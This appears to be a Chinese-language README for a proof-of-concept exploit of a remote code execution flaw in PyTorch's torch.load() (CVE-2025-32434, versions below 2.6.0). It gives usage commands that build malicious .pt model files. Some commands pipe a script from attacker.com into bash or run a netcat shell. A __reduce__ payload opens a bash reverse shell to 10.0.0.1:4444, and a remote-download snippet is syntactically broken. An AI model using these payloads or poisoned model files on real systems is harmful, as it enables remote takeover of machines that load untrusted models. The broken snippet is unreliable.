此漏洞利用程序展示了 PyTorch 版本低于 2.6.0 中存在的一个严重远程代码执行漏洞(CVE-2025-32434)。该缺陷存在于 torch.load() 函数中,即使使用了本应阻止模型反序列化过程中任意代码执行的 weights_only=True 参数,仍然无法避免。
该漏洞的产生原因是 _weights_only_unpickler 实现未能正确限制反序列化,攻击者可以构造恶意的 .pt 模型文件,在易受攻击的 PyTorch 安装加载该文件时执行任意系统命令。
# Basic usage - creates model that touches /tmp/pwned
python3 exploit.py
# Execute custom command
python3 exploit.py -c "id > /tmp/whoami"
# Test the exploit (loads the model to verify RCE)
python3 exploit.py -c "id" -t
# Advanced exploit variant with alternative bypass
python3 exploit.py --advanced -c "curl -s http://attacker.com/shell.sh | bash" -t
# Save to custom filename
python3 exploit.py -f evil_model.pt -c "nc -e /bin/sh attacker.com 4444"
输出示例:
=== CVE-2025-32434 PyTorch RCE Exploit ===
[*] Creating malicious PyTorch model...
[+] Malicious model saved as 'malicious_model.pt'
[+] Will execute command: touch /tmp/pwned
[+] Created malicious model: malicious_model.pt
[*] Testing exploit...
[+] PyTorch version: 2.5.1+cu121
[+] Version is vulnerable to CVE-2025-32434
[*] Loading malicious model with weights_only=True...
[*] This should be safe, but due to CVE-2025-32434 it's not!
[+] Model loaded successfully
修改 create_malicious_model() 或 create_advanced_exploit() 中的 reduce() 方法:
# Example: Reverse shell payload
class ExploitPayload:
def __reduce__(self):
return (eval, ("__import__('os').system('bash -i >& /dev/tcp/10.0.0.1/4444 0>&1')",))
# Example: File download + execute
return (eval, ("__import__('urllib.request').urlopen('http://attacker.com/payload.sh').read().decode().strip() | __import__('os').system",))
检查目标漏洞
import torch
print(f"PyTorch: {torch.__version__}")
# Vulnerable if < 2.6.0